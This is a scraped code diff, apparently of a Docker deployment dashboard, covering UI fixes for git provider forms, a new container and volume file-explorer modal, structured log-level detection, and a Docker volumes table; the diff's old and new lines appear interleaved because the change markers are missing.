View Logs
</DropdownMenuItem>
</DialogTrigger>
<ShowContainerConfig
containerId={container.containerId}
serverId={serverId || ""}
/>
<ShowContainerMounts
containerId={container.containerId}
serverId={serverId || ""}
/>
<ShowContainerNetworks
containerId={container.containerId}
serverId={serverId || ""}
/>
<DockerTerminalModal
containerId={container.containerId}
serverId={serverId || ""}
serviceId={serviceId}
>
Terminal
</DockerTerminalModal>
<DropdownMenuSeparator />
<DropdownMenuItem
className="cursor-pointer"
onSelect={(e) => e.preventDefault()}
disabled={actionLoading !== null}
onClick={() => handleAction("restart", restartMutation)}
>
View Logs
Restart
</DropdownMenuItem>
</DialogTrigger>
<ShowContainerConfig
containerId={container.containerId}
serverId={serverId || ""}
/>
<ShowContainerMounts
containerId={container.containerId}
serverId={serverId || ""}
/>
<ShowContainerNetworks
containerId={container.containerId}
serverId={serverId || ""}
/>
<DockerTerminalModal
containerId={container.containerId}
serverId={serverId || ""}
serviceId={serviceId}
>
Terminal
</DockerTerminalModal>
<DropdownMenuSeparator />
<DropdownMenuItem
className="cursor-pointer"
disabled={actionLoading !== null}
onClick={() => handleAction("restart", restartMutation)}
>
Restart
</DropdownMenuItem>
<DropdownMenuItem
className="cursor-pointer"
disabled={actionLoading !== null}
onClick={() => handleAction("start", startMutation)}
>
Start
</DropdownMenuItem>
<DropdownMenuItem
className="cursor-pointer"
disabled={actionLoading !== null}
onClick={() => handleAction("stop", stopMutation)}
>
Stop
</DropdownMenuItem>
<DropdownMenuItem
className="cursor-pointer text-red-500 focus:text-red-600"
disabled={actionLoading !== null}
onClick={() => handleAction("kill", killMutation)}
>
Kill
</DropdownMenuItem>
</DropdownMenuContent>
</DropdownMenu>
<DialogContent className="sm:max-w-7xl">
<DialogHeader>
<DialogTitle>View Logs</DialogTitle>
<DialogDescription>Logs for {container.name}</DialogDescription>
</DialogHeader>
<div className="flex flex-col gap-4 pt-2.5">
<DockerLogsId
containerId={container.containerId}
serverId={serverId}
runType="native"
serviceId={serviceId}
/>
</div>
</DialogContent>
</Dialog>
<DropdownMenuItem
className="cursor-pointer"
disabled={actionLoading !== null}
onClick={() => handleAction("start", startMutation)}
>
Start
</DropdownMenuItem>
<DropdownMenuItem
className="cursor-pointer"
disabled={actionLoading !== null}
onClick={() => handleAction("stop", stopMutation)}
>
Stop
</DropdownMenuItem>
<DropdownMenuItem
className="cursor-pointer text-red-500 focus:text-red-600"
disabled={actionLoading !== null}
onClick={() => handleAction("kill", killMutation)}
>
Kill
</DropdownMenuItem>
</DropdownMenuContent>
</DropdownMenu>
<DialogContent className="sm:max-w-7xl">
<DialogHeader>
<DialogTitle>View Logs</DialogTitle>
<DialogDescription>Logs for {container.name}</DialogDescription>
</DialogHeader>
<div className="flex flex-col gap-4 pt-2.5">
<DockerLogsId
containerId={container.containerId}
serverId={serverId}
runType="native"
serviceId={serviceId}
/>
</div>
</DialogContent>
</Dialog>
)}
</TableCell>
</TableRow>
);

View File

@ -451,14 +451,18 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
{field.value?.map((path, index) => (
<Badge key={index} variant="secondary">
{path}
<X
className="ml-1 size-3 cursor-pointer"
<button
type="button"
aria-label="Remove watch path"
className="inline-flex items-center focus-visible:ring-2"
onClick={() => {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
form.setValue("watchPaths", newPaths);
}}
/>
>
<X className="ml-1 size-3 cursor-pointer" />
</button>
</Badge>
))}
</div>
@ -506,14 +510,14 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
<FormItem className="flex items-center space-x-2">
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
<FormLabel>Enable Submodules</FormLabel>
</FormItem>
)}
/>

View File

@ -251,14 +251,18 @@ export const SaveGitProviderCompose = ({ composeId }: Props) => {
{field.value?.map((path, index) => (
<Badge key={index} variant="secondary">
{path}
<X
className="ml-1 size-3 cursor-pointer"
<button
type="button"
aria-label="Remove watch path"
className="inline-flex items-center focus-visible:ring-2"
onClick={() => {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
form.setValue("watchPaths", newPaths);
}}
/>
>
<X className="ml-1 size-3 cursor-pointer" />
</button>
</Badge>
))}
</div>
@ -306,14 +310,14 @@ export const SaveGitProviderCompose = ({ composeId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
<FormItem className="flex items-center space-x-2">
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
<FormLabel>Enable Submodules</FormLabel>
</FormItem>
)}
/>

View File

@ -442,14 +442,18 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
{field.value?.map((path, index) => (
<Badge key={index} variant="secondary">
{path}
<X
className="ml-1 size-3 cursor-pointer"
<button
type="button"
aria-label="Remove watch path"
className="inline-flex items-center focus-visible:ring-2"
onClick={() => {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
form.setValue("watchPaths", newPaths);
}}
/>
>
<X className="ml-1 size-3 cursor-pointer" />
</button>
</Badge>
))}
</div>
@ -497,14 +501,14 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
<FormItem className="flex items-center space-x-2">
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
<FormLabel>Enable Submodules</FormLabel>
</FormItem>
)}
/>

View File

@ -47,6 +47,7 @@ import {
} from "@/components/ui/tooltip";
import { cn } from "@/lib/utils";
import { api } from "@/utils/api";
import { DEFAULT_GITHUB_URL } from "@/utils/github-utils";
const GithubProviderSchema = z.object({
composePath: z.string().min(1),
@ -98,6 +99,11 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
const repository = form.watch("repository");
const githubId = form.watch("githubId");
const triggerType = form.watch("triggerType");
// Enterprise repositories do not live on github.com.
const providerUrl =
githubProviders?.find((provider) => provider.githubId === githubId)
?.githubUrl ?? DEFAULT_GITHUB_URL;
const { data: repositories, isPending: isLoadingRepositories } =
api.github.getGithubRepositories.useQuery(
{
@ -220,7 +226,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
<FormLabel>Repository</FormLabel>
{field.value.owner && field.value.repo && (
<Link
href={`https://github.com/${field.value.owner}/${field.value.repo}`}
href={`${providerUrl}/${field.value.owner}/${field.value.repo}`}
target="_blank"
rel="noopener noreferrer"
className="flex items-center gap-1 text-sm text-muted-foreground hover:text-primary"
@ -432,8 +438,12 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
</TooltipProvider>
</div>
<Select
onValueChange={field.onChange}
defaultValue={field.value}
onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value);
}}
value={field.value}
>
<FormControl>
@ -479,14 +489,18 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
{field.value?.map((path, index) => (
<Badge key={index} variant="secondary">
{path}
<X
className="ml-1 size-3 cursor-pointer"
<button
type="button"
aria-label="Remove watch path"
className="inline-flex items-center focus-visible:ring-2"
onClick={() => {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
form.setValue("watchPaths", newPaths);
}}
/>
>
<X className="ml-1 size-3 cursor-pointer" />
</button>
</Badge>
))}
</div>
@ -538,14 +552,14 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
<FormItem className="flex items-center space-x-2">
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
<FormLabel>Enable Submodules</FormLabel>
</FormItem>
)}
/>

View File

@ -468,14 +468,18 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
{field.value?.map((path, index) => (
<Badge key={index} variant="secondary">
{path}
<X
className="ml-1 size-3 cursor-pointer"
<button
type="button"
aria-label="Remove watch path"
className="inline-flex items-center focus-visible:ring-2"
onClick={() => {
const newPaths = [...(field.value || [])];
newPaths.splice(index, 1);
form.setValue("watchPaths", newPaths);
}}
/>
>
<X className="ml-1 size-3 cursor-pointer" />
</button>
</Badge>
))}
</div>
@ -523,14 +527,14 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
control={form.control}
name="enableSubmodules"
render={({ field }) => (
<FormItem className="flex items-center space-x-2">
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
<FormLabel>Enable Submodules</FormLabel>
</FormItem>
)}
/>

View File

@ -57,7 +57,7 @@ export const ShowDockerLogsStack = ({
},
);
const { data: containers, isPending: containersLoading } =
const { data, isPending: containersLoading } =
api.docker.getContainersByAppNameMatch.useQuery(
{
appName,
@ -69,6 +69,8 @@ export const ShowDockerLogsStack = ({
},
);
const containers = data?.filter((container) => container.containerId);
useEffect(() => {
if (option === "native") {
if (containers && containers?.length > 0) {

View File

@ -316,7 +316,7 @@ export const RestoreBackup = ({
Restore Backup
</Button>
</DialogTrigger>
<DialogContent className="sm:max-w-lg">
<DialogContent className="sm:max-w-2xl">
<DialogHeader>
<DialogTitle className="flex items-center">
<RotateCcw className="mr-2 size-4" />

View File

@ -14,10 +14,11 @@ import {
import type { inferRouterOutputs } from "@trpc/server";
import {
ArrowUpDown,
Boxes,
ChevronLeft,
ChevronRight,
CircuitBoard,
ExternalLink,
GlobeIcon,
Loader2,
Rocket,
Server,
@ -71,6 +72,7 @@ function getServiceInfo(d: DeploymentRow) {
return {
type: "Application" as const,
name: app.name,
icon: app.icon,
projectId: app.environment.project.projectId,
environmentId: app.environment.environmentId,
projectName: app.environment.project.name,
@ -83,6 +85,7 @@ function getServiceInfo(d: DeploymentRow) {
return {
type: "Compose" as const,
name: comp.name,
icon: comp.icon,
projectId: comp.environment.project.projectId,
environmentId: comp.environment.environmentId,
projectName: comp.environment.project.name,
@ -175,10 +178,16 @@ export function ShowDeploymentsTable() {
if (!info) return <span className="text-muted-foreground"></span>;
return (
<div className="flex items-center gap-2">
{info.type === "Application" ? (
<Rocket className="size-4 text-muted-foreground shrink-0" />
{info.icon ? (
<img
src={info.icon}
alt={info.name}
className="size-4 object-contain shrink-0"
/>
) : info.type === "Application" ? (
<GlobeIcon className="size-4 text-muted-foreground shrink-0" />
) : (
<Boxes className="size-4 text-muted-foreground shrink-0" />
<CircuitBoard className="size-4 text-muted-foreground shrink-0" />
)}
<div className="flex flex-col min-w-0">
<span className="font-medium truncate">{info.name}</span>

View File

@ -0,0 +1,401 @@
import {
ChevronRight,
Download,
File,
Folder,
FolderOpen,
Loader2,
RefreshCw,
Trash2,
} from "lucide-react";
import { useEffect, useMemo, useState } from "react";
import { toast } from "sonner";
import { AlertBlock } from "@/components/shared/alert-block";
import { CodeEditor } from "@/components/shared/code-editor";
import { DialogAction } from "@/components/shared/dialog-action";
import { Button } from "@/components/ui/button";
import {
Dialog,
DialogContent,
DialogDescription,
DialogHeader,
DialogTitle,
DialogTrigger,
} from "@/components/ui/dialog";
import { DropdownMenuItem } from "@/components/ui/dropdown-menu";
import { api } from "@/utils/api";
type Props = {
serverId?: string;
children?: React.ReactNode;
asDropdownItem?: boolean;
} & (
| { containerId: string; volumeName?: undefined }
| { volumeName: string; containerId?: undefined }
);
const joinPath = (base: string, name: string) =>
base === "/" ? `/${name}` : `${base}/${name}`;
const decodeBase64 = (base64: string) => {
const binary = atob(base64);
const bytes = new Uint8Array(binary.length);
for (let i = 0; i < binary.length; i++) {
bytes[i] = binary.charCodeAt(i);
}
return bytes;
};
export const FilesExplorerModal = ({
containerId,
volumeName,
serverId,
children,
asDropdownItem = true,
}: Props) => {
const [open, setOpen] = useState(false);
const [path, setPath] = useState("/");
const [selectedFile, setSelectedFile] = useState<string | null>(null);
const [editorContent, setEditorContent] = useState("");
const isVolume = !!volumeName;
const utils = api.useUtils();
const containerEntries = api.docker.listContainerFiles.useQuery(
{ containerId: containerId ?? "", path, serverId },
{ enabled: open && !isVolume, retry: false },
);
const volumeEntries = api.dockerVolume.listVolumeFiles.useQuery(
{ volumeName: volumeName ?? "", path, serverId },
{ enabled: open && isVolume, retry: false },
);
const {
data: entries,
isLoading: isLoadingEntries,
error: entriesError,
refetch: refetchEntries,
isRefetching,
} = isVolume ? volumeEntries : containerEntries;
const containerFile = api.docker.readContainerFile.useQuery(
{ containerId: containerId ?? "", path: selectedFile ?? "/", serverId },
{ enabled: open && !isVolume && !!selectedFile, retry: false },
);
const volumeFile = api.dockerVolume.readVolumeFile.useQuery(
{ volumeName: volumeName ?? "", path: selectedFile ?? "/", serverId },
{ enabled: open && isVolume && !!selectedFile, retry: false },
);
const {
data: file,
isLoading: isLoadingFile,
error: fileError,
refetch: refetchFile,
} = isVolume ? volumeFile : containerFile;
const fileBytes = useMemo(
() => (file ? decodeBase64(file.content) : null),
[file],
);
const isBinary = useMemo(
() => !!fileBytes?.some((byte) => byte === 0),
[fileBytes],
);
useEffect(() => {
if (fileBytes && !isBinary) {
setEditorContent(new TextDecoder().decode(fileBytes));
}
}, [fileBytes, isBinary]);
const writeContainerFile = api.docker.writeContainerFile.useMutation();
const writeVolumeFile = api.dockerVolume.writeVolumeFile.useMutation();
const deleteContainerFile = api.docker.deleteContainerFile.useMutation();
const deleteVolumeFile = api.dockerVolume.deleteVolumeFile.useMutation();
const isSaving = writeContainerFile.isPending || writeVolumeFile.isPending;
const isDeleting =
deleteContainerFile.isPending || deleteVolumeFile.isPending;
const saveFile = async () => {
if (!selectedFile) return;
try {
if (isVolume) {
await writeVolumeFile.mutateAsync({
volumeName,
path: selectedFile,
content: editorContent,
serverId,
});
} else {
await writeContainerFile.mutateAsync({
containerId: containerId ?? "",
path: selectedFile,
content: editorContent,
serverId,
});
}
toast.success("File saved");
refetchFile();
} catch (error) {
toast.error(
error instanceof Error ? error.message : "Failed to save file",
);
}
};
const deleteEntry = async (entryPath: string) => {
try {
if (isVolume) {
await deleteVolumeFile.mutateAsync({
volumeName,
path: entryPath,
serverId,
});
await utils.dockerVolume.listVolumeFiles.invalidate();
} else {
await deleteContainerFile.mutateAsync({
containerId: containerId ?? "",
path: entryPath,
serverId,
});
await utils.docker.listContainerFiles.invalidate();
}
toast.success("Deleted");
if (selectedFile === entryPath) {
setSelectedFile(null);
}
} catch (error) {
toast.error(error instanceof Error ? error.message : "Failed to delete");
}
};
const breadcrumbs = path.split("/").filter(Boolean);
const navigate = (nextPath: string) => {
setPath(nextPath);
setSelectedFile(null);
};
const handleOpenChange = (value: boolean) => {
setOpen(value);
if (!value) {
setPath("/");
setSelectedFile(null);
setEditorContent("");
}
};
const downloadFile = () => {
if (!fileBytes || !selectedFile) return;
const blob = new Blob([fileBytes]);
const url = URL.createObjectURL(blob);
const anchor = document.createElement("a");
anchor.href = url;
anchor.download = selectedFile.split("/").pop() ?? "file";
anchor.click();
URL.revokeObjectURL(url);
};
return (
<Dialog open={open} onOpenChange={handleOpenChange}>
<DialogTrigger asChild>
{asDropdownItem ? (
<DropdownMenuItem
className="w-full cursor-pointer space-x-3"
onSelect={(e) => e.preventDefault()}
>
{children}
</DropdownMenuItem>
) : (
children
)}
</DialogTrigger>
<DialogContent className="sm:max-w-6xl">
<DialogHeader>
<DialogTitle className="flex items-center gap-2">
<FolderOpen className="size-5" />
{isVolume ? "Volume Files" : "Container Files"}
</DialogTitle>
<DialogDescription>
{isVolume
? `Browse and edit files inside the "${volumeName}" volume`
: "Browse and edit files inside the container's filesystem"}
</DialogDescription>
</DialogHeader>
<div className="flex items-center gap-1 text-sm font-mono flex-wrap">
<button
type="button"
className="hover:underline text-muted-foreground"
onClick={() => navigate("/")}
>
/
</button>
{breadcrumbs.map((segment, index) => (
<span
key={`/${breadcrumbs.slice(0, index + 1).join("/")}`}
className="flex items-center gap-1"
>
<button
type="button"
className="hover:underline text-muted-foreground"
onClick={() =>
navigate(`/${breadcrumbs.slice(0, index + 1).join("/")}`)
}
>
{segment}
</button>
{index < breadcrumbs.length - 1 && (
<ChevronRight className="size-3 text-muted-foreground" />
)}
</span>
))}
<Button
variant="ghost"
size="icon"
className="ml-auto size-7"
onClick={() => refetchEntries()}
>
<RefreshCw
className={`size-4 ${isRefetching ? "animate-spin" : ""}`}
/>
</Button>
</div>
<div className="flex gap-4 min-h-[55vh] max-h-[65vh]">
<div className="w-72 shrink-0 border rounded-lg overflow-y-auto">
{isLoadingEntries ? (
<div className="flex h-full items-center justify-center gap-2 text-sm text-muted-foreground p-4">
<span>Loading...</span>
<Loader2 className="animate-spin size-4" />
</div>
) : entriesError ? (
<div className="p-3">
<AlertBlock type="error">{entriesError.message}</AlertBlock>
</div>
) : (
<div className="flex flex-col p-1">
{path !== "/" && (
<button
type="button"
className="flex items-center gap-2 rounded-md px-2 py-1.5 text-sm hover:bg-muted text-left"
onClick={() =>
navigate(`/${breadcrumbs.slice(0, -1).join("/")}` || "/")
}
>
<Folder className="size-4 shrink-0 text-muted-foreground" />
..
</button>
)}
{entries?.length === 0 && (
<span className="px-2 py-1.5 text-sm text-muted-foreground">
Empty directory
</span>
)}
{entries?.map((entry) => {
const entryPath = joinPath(path, entry.name);
return (
<div
key={entry.name}
className={`group flex items-center rounded-md hover:bg-muted ${
selectedFile === entryPath ? "bg-muted" : ""
}`}
>
<button
type="button"
className="flex flex-1 items-center gap-2 px-2 py-1.5 text-sm text-left min-w-0"
onClick={() =>
entry.isDirectory
? navigate(entryPath)
: setSelectedFile(entryPath)
}
>
{entry.isDirectory ? (
<Folder className="size-4 shrink-0 text-muted-foreground" />
) : (
<File className="size-4 shrink-0 text-muted-foreground" />
)}
<span className="truncate">{entry.name}</span>
</button>
<DialogAction
title={`Delete ${entry.name}?`}
description={`This will permanently delete ${entryPath}${entry.isDirectory ? " and all its contents" : ""}.`}
onClick={() => deleteEntry(entryPath)}
>
<Button
variant="ghost"
size="icon"
className="size-7 opacity-0 group-hover:opacity-100 shrink-0"
isLoading={isDeleting}
>
<Trash2 className="size-3.5 text-destructive" />
</Button>
</DialogAction>
</div>
);
})}
</div>
)}
</div>
<div className="flex-1 min-w-0 flex flex-col gap-2">
{!selectedFile ? (
<div className="flex flex-1 items-center justify-center rounded-lg border border-dashed text-sm text-muted-foreground">
Select a file to view or edit it
</div>
) : isLoadingFile ? (
<div className="flex flex-1 items-center justify-center gap-2 text-sm text-muted-foreground rounded-lg border">
<span>Loading...</span>
<Loader2 className="animate-spin size-4" />
</div>
) : fileError ? (
<AlertBlock type="error">{fileError.message}</AlertBlock>
) : (
<>
<div className="flex items-center gap-2">
<span className="text-sm font-mono truncate text-muted-foreground">
{selectedFile}
</span>
<div className="ml-auto flex items-center gap-2">
<Button variant="outline" size="sm" onClick={downloadFile}>
<Download className="size-4" />
Download
</Button>
<Button
size="sm"
isLoading={isSaving}
disabled={isBinary || file?.truncated}
onClick={saveFile}
>
Save
</Button>
</div>
</div>
{file?.truncated ? (
<AlertBlock type="warning">
This file is larger than 512KB. Showing a truncated preview;
editing is disabled. Use Download to get the truncated
content or the terminal for full access.
</AlertBlock>
) : isBinary ? (
<div className="flex flex-1 items-center justify-center rounded-lg border border-dashed text-sm text-muted-foreground">
Binary file use Download instead
</div>
) : (
<div className="flex-1 overflow-auto rounded-lg border">
<CodeEditor
lineWrapping
value={editorContent}
onChange={(value) => setEditorContent(value)}
wrapperClassName="h-full font-mono"
/>
</div>
)}
</>
)}
</div>
</div>
</DialogContent>
</Dialog>
);
};

View File

@ -72,8 +72,68 @@ export function parseLogs(logString: string): LogLine[] {
.filter((log) => log !== null);
}
const LEVEL_NAME_TO_TYPE: Record<string, LogType> = {
trace: "debug",
debug: "debug",
info: "info",
information: "info",
notice: "info",
warn: "warning",
warning: "warning",
error: "error",
err: "error",
fatal: "error",
critical: "error",
panic: "error",
alert: "error",
emergency: "error",
};
const numericLevelToType = (level: number): LogType => {
// pino/bunyan scale: 10=trace 20=debug 30=info 40=warn 50=error 60=fatal
if (level >= 50) return "error";
if (level >= 40) return "warning";
if (level >= 30) return "info";
if (level >= 10) return "debug";
// syslog/GELF scale: 0=emergency ... 7=debug
if (level <= 3) return "error";
if (level === 4) return "warning";
if (level <= 6) return "info";
return "debug";
};
// Extract the log level explicitly declared by structured loggers
// (pino, bunyan, winston, zap, slog, logfmt, GCP severity)
const getExplicitLevelType = (message: string): LogType | null => {
// JSON string levels: {"level":"error"} / {"severity":"ERROR"} / {"log.level":"warn"}
const jsonStringMatch = message.match(
/"(?:level|severity|log\.level|loglevel)"\s*:\s*"([a-z]+)"/i,
);
if (jsonStringMatch?.[1]) {
return LEVEL_NAME_TO_TYPE[jsonStringMatch[1].toLowerCase()] ?? null;
}
// JSON numeric levels: {"level":50}
const jsonNumericMatch = message.match(/"level"\s*:\s*(\d{1,2})\b/);
if (jsonNumericMatch?.[1]) {
return numericLevelToType(Number(jsonNumericMatch[1]));
}
// logfmt: level=error
const logfmtMatch = message.match(/(?:^|\s)(?:level|severity)=([a-z]+)\b/i);
if (logfmtMatch?.[1]) {
return LEVEL_NAME_TO_TYPE[logfmtMatch[1].toLowerCase()] ?? null;
}
return null;
};
// Detect log type based on message content
export const getLogType = (message: string): LogStyle => {
// A level explicitly declared by the logger wins over any inference
const explicitType = getExplicitLevelType(message);
if (explicitType) return LOG_STYLES[explicitType];
// Detect HTTP statusCode
const statusMatch = message.match(/"statusCode"\s*:\s*"?(\d{3})"?/);
@ -97,17 +157,27 @@ export const getLogType = (message: string): LogStyle => {
return LOG_STYLES.info;
}
// Key/value pairs that explicitly report a non-error (e.g. "error: none",
// "failed: false") must not trigger the error keyword patterns below
const nonErrorColonPairs =
/\b(?:error|err|errors|failed|failure|failures)\s*:\s*(?:none|null|nil|false|0|no|-|""|'')(?=[,;.)\]]|$)/gi;
const nonErrorLogfmtPairs =
/\b(?:error|err|errors|failed|failure|failures)\s*=\s*(?:none|null|nil|false|0|no|-|""|'')(?=[\s,;.)\]]|$)/gi;
const errorScope = lowerMessage
.replace(nonErrorColonPairs, "")
.replace(nonErrorLogfmtPairs, "");
if (
/(?:^|\s)(?:error|err):?\s/i.test(lowerMessage) ||
/\b(?:exception|failed|failure)\b/i.test(lowerMessage) ||
/(?:stack\s?trace):\s*$/i.test(lowerMessage) ||
/^\s*at\s+[\w.]+\s*\(?.+:\d+:\d+\)?/.test(lowerMessage) ||
/\b(?:uncaught|unhandled)\s+(?:exception|error)\b/i.test(lowerMessage) ||
/Error:\s.*(?:in|at)\s+.*:\d+(?::\d+)?/.test(lowerMessage) ||
/\b(?:errno|code):\s*(?:\d+|[A-Z_]+)\b/i.test(lowerMessage) ||
/\[(?:error|err|fatal)\]/i.test(lowerMessage) ||
/\b(?:crash|critical|fatal)\b/i.test(lowerMessage) ||
/\b(?:fail(?:ed|ure)?|broken|dead)\b/i.test(lowerMessage)
/(?:^|\s)(?:error|err):?\s/i.test(errorScope) ||
/\b(?:exception|failed|failure)\b/i.test(errorScope) ||
/(?:stack\s?trace):\s*$/i.test(errorScope) ||
/^\s*at\s+[\w.]+\s*\(?.+:\d+:\d+\)?/.test(errorScope) ||
/\b(?:uncaught|unhandled)\s+(?:exception|error)\b/i.test(errorScope) ||
/Error:\s.*(?:in|at)\s+.*:\d+(?::\d+)?/.test(errorScope) ||
/\b(?:errno|code):\s*(?:\d+|[A-Z_]+)\b/i.test(errorScope) ||
/\[(?:error|err|fatal)\]/i.test(errorScope) ||
/\b(?:crash|critical|fatal)\b/i.test(errorScope) ||
/\b(?:fail(?:ed|ure)?|broken|dead)\b/i.test(errorScope)
) {
return LOG_STYLES.error;
}

View File

@ -12,6 +12,7 @@ import {
DropdownMenuTrigger,
} from "@/components/ui/dropdown-menu";
import { ShowContainerConfig } from "../config/show-container-config";
import { FilesExplorerModal } from "../files/files-explorer-modal";
import { ShowDockerModalLogs } from "../logs/show-docker-modal-logs";
import { ShowContainerMounts } from "../mounts/show-container-mounts";
import { ShowContainerNetworks } from "../networks/show-container-networks";
@ -173,6 +174,12 @@ export const columns: ColumnDef<Container>[] = [
>
Terminal
</DockerTerminalModal>
<FilesExplorerModal
containerId={container.containerId}
serverId={container.serverId || undefined}
>
Browse Files
</FilesExplorerModal>
<UploadFileModal
containerId={container.containerId}
serverId={container.serverId || undefined}

View File

@ -5,6 +5,7 @@ import "@xterm/xterm/css/xterm.css";
import { AttachAddon } from "@xterm/addon-attach";
import { useTheme } from "next-themes";
import { Tabs, TabsList, TabsTrigger } from "@/components/ui/tabs";
import { fixMacOsAltKeys } from "@/lib/terminal-keyboard";
interface Props {
id: string;
@ -45,6 +46,7 @@ export const DockerTerminal: React.FC<Props> = ({
const ws = new WebSocket(wsUrl);
const addonAttach = new AttachAddon(ws);
fixMacOsAltKeys(term);
// @ts-ignore
term.open(termRef.current);
// @ts-ignore

View File

@ -0,0 +1,434 @@
"use client";
import {
type ColumnDef,
flexRender,
getCoreRowModel,
getPaginationRowModel,
getSortedRowModel,
type PaginationState,
type SortingState,
useReactTable,
} from "@tanstack/react-table";
import type { inferRouterOutputs } from "@trpc/server";
import {
ArrowUpDown,
Eye,
FolderOpen,
HardDrive,
Loader2,
Trash2,
} from "lucide-react";
import { useMemo, useState } from "react";
import { toast } from "sonner";
import { FilesExplorerModal } from "@/components/dashboard/docker/files/files-explorer-modal";
import { AlertBlock } from "@/components/shared/alert-block";
import { CodeEditor } from "@/components/shared/code-editor";
import { DialogAction } from "@/components/shared/dialog-action";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button";
import {
Card,
CardContent,
CardDescription,
CardHeader,
CardTitle,
} from "@/components/ui/card";
import {
Dialog,
DialogContent,
DialogDescription,
DialogHeader,
DialogTitle,
DialogTrigger,
} from "@/components/ui/dialog";
import { Input } from "@/components/ui/input";
import {
Table,
TableBody,
TableCell,
TableHead,
TableHeader,
TableRow,
} from "@/components/ui/table";
import type { AppRouter } from "@/server/api/root";
import { api } from "@/utils/api";
type VolumeRow =
inferRouterOutputs<AppRouter>["dockerVolume"]["getVolumes"][number];
interface Props {
serverId?: string;
}
const SIZE_UNITS: Record<string, number> = {
b: 1,
kb: 1e3,
mb: 1e6,
gb: 1e9,
tb: 1e12,
};
const parseSize = (size?: string) => {
if (!size) return -1;
const match = /^([\d.]+)\s*([a-zA-Z]+)$/.exec(size.trim());
if (!match?.[1] || !match[2]) return -1;
return Number(match[1]) * (SIZE_UNITS[match[2].toLowerCase()] ?? 1);
};
const SortableHeader = ({
column,
title,
}: {
column: {
getIsSorted: () => false | "asc" | "desc";
toggleSorting: (asc: boolean) => void;
};
title: string;
}) => (
<Button
variant="ghost"
className="-ml-3 h-8"
onClick={() => column.toggleSorting(column.getIsSorted() === "asc")}
>
{title}
<ArrowUpDown className="ml-2 size-4" />
</Button>
);
const ShowVolumeConfig = ({
volumeName,
serverId,
}: {
volumeName: string;
serverId?: string;
}) => {
const [open, setOpen] = useState(false);
const { data, isLoading, error } = api.dockerVolume.getVolumeConfig.useQuery(
{ volumeName, serverId },
{ enabled: open },
);
return (
<Dialog open={open} onOpenChange={setOpen}>
<DialogTrigger asChild>
<Button variant="ghost" size="icon-sm" aria-label="View volume config">
<Eye className="size-4" />
</Button>
</DialogTrigger>
<DialogContent className="w-full md:w-[70vw] min-w-[70vw]">
<DialogHeader>
<DialogTitle>Volume Config</DialogTitle>
<DialogDescription>
docker volume inspect output for "{volumeName}"
</DialogDescription>
</DialogHeader>
{error ? (
<AlertBlock type="error">{error.message}</AlertBlock>
) : isLoading ? (
<div className="flex flex-row gap-2 items-center justify-center py-10 text-sm text-muted-foreground">
<span>Loading...</span>
<Loader2 className="animate-spin size-4" />
</div>
) : (
<div className="text-wrap rounded-lg border p-4 overflow-y-auto text-sm bg-card max-h-[80vh]">
<code>
<pre className="whitespace-pre-wrap wrap-break-word">
<CodeEditor
language="json"
lineWrapping
lineNumbers={false}
readOnly
value={JSON.stringify(data, null, 2)}
/>
</pre>
</code>
</div>
)}
</DialogContent>
</Dialog>
);
};
export const ShowVolumes = ({ serverId }: Props) => {
const utils = api.useUtils();
const [sorting, setSorting] = useState<SortingState>([
{ id: "Name", desc: false },
]);
const [globalFilter, setGlobalFilter] = useState("");
const [pagination, setPagination] = useState<PaginationState>({
pageIndex: 0,
pageSize: 10,
});
const { data: volumes, isLoading } = api.dockerVolume.getVolumes.useQuery({
serverId,
});
const { data: sizes, isLoading: isLoadingSizes } =
api.dockerVolume.getVolumesSize.useQuery({ serverId });
const sizeByName = useMemo(
() => new Map((sizes ?? []).map((entry) => [entry.name, entry.size])),
[sizes],
);
const { mutateAsync: removeVolume } =
api.dockerVolume.removeVolume.useMutation();
const filteredData = useMemo(() => {
const list = volumes ?? [];
if (!globalFilter.trim()) {
return list;
}
const query = globalFilter.toLowerCase();
return list.filter((volume) => volume.Name.toLowerCase().includes(query));
}, [volumes, globalFilter]);
const columns = useMemo<ColumnDef<VolumeRow>[]>(
() => [
{
accessorKey: "Name",
header: ({ column }) => <SortableHeader column={column} title="Name" />,
cell: ({ row }) => (
<div
className="max-w-[280px] truncate font-medium"
title={row.original.Name}
>
{row.original.Name}
</div>
),
},
{
accessorKey: "Driver",
header: ({ column }) => (
<SortableHeader column={column} title="Driver" />
),
cell: ({ row }) => (
